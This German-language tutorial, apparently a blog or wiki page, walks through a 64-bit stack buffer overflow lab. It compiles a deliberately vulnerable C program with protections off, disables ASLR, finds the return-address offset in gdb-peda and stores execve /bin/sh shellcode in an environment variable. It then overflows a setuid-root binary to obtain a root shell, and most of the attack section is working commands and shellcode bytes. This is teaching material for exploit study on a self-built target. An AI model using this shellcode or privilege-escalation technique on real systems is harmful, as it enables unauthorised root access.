{{tag>deutsch linux kali it-security pentest blog}} ====== Buffer Overflow im 64-Bit Stack - Teil 1 ====== In diesem Tutorial erzeugen wir einen Buffer Overflow auf dem 64-Bit Stack, um root Rechte zu erlangen.((https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/64-bit-stack-based-buffer-overflow)) Technische Einzelheiten zu Buffer-Overflows, Stack etc. gibt es hier((https://medium.com/@buff3r/basic-buffer-overflow-on-64-bit-architecture-3fb74bab3558)) \\ \\ ===== Abhängigkeiten ===== {{page>vorlagen:64_bit_stack_nav}} {{page>vorlagen:attention}} {{:it-security:blog:bof-64-1.jpg|}} Was wird benötigt? * Kali Linux (oder andere Distri) * GDB Debugger * gdb-peda * gcc Compiler \\ \\ ==== gdb-peda Exploit Tools ==== gdb-peda erweitert den Debugger GDB um hilfreiche Kommandos, zur Exploit Entwicklung.((https://github.com/longld/peda/blob/master/README)) git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit \\ \\ ==== ASLR deaktivieren ==== ASLR muss deaktiviert werden, damit Speicherbereiche nicht randomisiert werden. echo 0 | sudo tee /proc/sys/kernel/randomize_va_space \\ \\ ==== Programm ==== Quellcode und kompilierte Binaries findet Ihr auch auf meinem [[gh>psycore8/nosoc-bof/tree/main/part-1|github repository]] // code from https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/ #include #include int vuln() { char buf[80]; int r; r = read(0, buf, 400); printf("\nRead %d bytes. buf is %s\n", r, buf); puts("No shell for you :("); return 0; } int main(int argc, char *argv[]) { printf("Try to exec /bin/sh"); vuln(); return 0; } \\ \\ === Kompilieren === gcc -fno-stack-protector -z execstack bof.c -o bof \\ \\ ===== RIP Register ===== Interessant für uns ist das Register ''RIP''. Dieses enthält eine Rücksprungadresse, welche auf einen anderen Bereich im Code zeigt. Durch den Buffer-Overflow überschreiben wir diese Rücksprungadresse. Aber erst müssen wir herausfinden, wie wir dies machen können. Wir starten unser Programm im Debugger und generieren einen 200 Zeichen langen String: gdb -q vulnerable pattern_create 200 in.bin r < in.bin [{{:it-security:bof-dism-2.png?400|Offset Fuzzing}}] \\ \\ ==== Bytes berechnen ==== Wieviele Bytes müssen übergeben werden, bevor RIP überschrieben wird? pattern_offset A7AAMAAiA Found at Offset 104 \\ \\ 104 Bytes müssen übergeben werden, bis der Puffer überläuft. Wir generieren 104 Zeichen und eine canonical return adress. Hierzu müssen wir unsere Pseudo-Adresse ''0x414141414141'' ins canonical address format konvertieren, indem wir 2 hohe Bytes anhängen: 0x0000414141414141 \\ \\ Das wandeln wir in Shellcode um: \x41\x41\x41\x41\x41\x41\x00\x00 \\ \\ > In a 64-bit architecture, the entire 2⁶⁴ bytes are not utilized for address space. In a typical 48 bit implementation, canonical address refers to one in the range 0x0000000000000000 to 0x00007FFFFFFFFFFF and 0xFFFF800000000000 to 0xFFFFFFFFFFFFFFFF. Any address outside this range is non-canonical.((https://en.wikipedia.org/wiki/Endianness)) \\ \\ ==== Debuggen ==== Also Debuggen wir nun erneut, mit den herausgefundenen Parametern python2 -c "print('A'*104 + '\x41\x41\x41\x41\x41\x41\x00\x00')" > in.bin gdb -q bof r < in.bin \\ \\ [{{:it-security:bof-dism-3.png?400|wir haben RIP mit unserer Pseudo Adresse überschrieben}}] \\ \\ ===== Exploit ===== Im letzten Schritt erzeugen wir uns ein entsprechendes Exploit, um die root Shell zu erzeugen. \\ \\ ==== Shellcode platzieren ==== Der Shellcode((http://shell-storm.org/shellcode/files/shellcode-77.html)) wird in einer Umgebungsvariable abgelegt export PWN=`python2 -c 'print( "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05")'` \\ \\ ==== Variable im Stack finden ==== \\ \\ === GetEnvVar === // code by Jon Erickson, page 147 and 148 of Hacking: The Art of Exploitation, 2nd Edition #include #include #include int main(int argc, char *argv[]) { char *ptr; if(argc < 3) { printf("Usage: %s \n", argv[0]); exit(0); } ptr = getenv(argv[1]); /* get env var location */ ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */ printf("%s will be at %p\n", argv[1], ptr); } \\ \\ === Kompilieren === gcc getenvar.c -o getenvar \\ \\ === Ausführen === ./getenvar PWN ./bof [{{:it-security:bof-dism-4.png?400|Das Offset der Umgebungsvariable im Stack}}] Die Adresse der Umgebungsvariable ist ''0x7fffffffef9e'', dies entspricht der canonical address ''0x00007fffffffef9e''´. Unser Shellcode entspräche nun: \x9e\xef\xff\xff\xff\x7f\x00\x00 \\ \\ ==== Angriff ==== Zunächst setzen wir root Rechte auf die vulnerable Datei und starten diese((https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/)) sudo chown root bof sudo chmod 4755 bof ./bof Nun können wir den Buffer-Overflow ausführen: (python2 -c "print('A'*104+'\x9e\xef\xff\xff\xff\x7f\x00\x00')"; cat) | ./bof [{{:it-security:bof-dism-5.png?600|root Shell!}}] \\ \\ classDiagram note for Buffer "Overwrite Buffer" note for RBP "Overwrite RBP" note for RIP "place return address" Buffer --> RBP RBP --> RIP RIP --> 0x00007FFFFFFFC19F Buffer: AAAAAAAAAAAA RBP: BBBBBBBBBBBB RIP: 0x00007FFFFFFFC19F class 0x00007FFFFFFFC19F{ Shellcode() root-Shell } \\ \\ ===== Repository ===== ^ Projektdateien | {{ :it-security:nosoc-repo-bof64.zip |}} | ^ Größe | 5,76 KB | ^ Prüfsumme (SHA256) | 191e6f1811018970776e3bf035ff460033a47da62335fe5c9475a460b02a10d3 | ~~DISCUSSION~~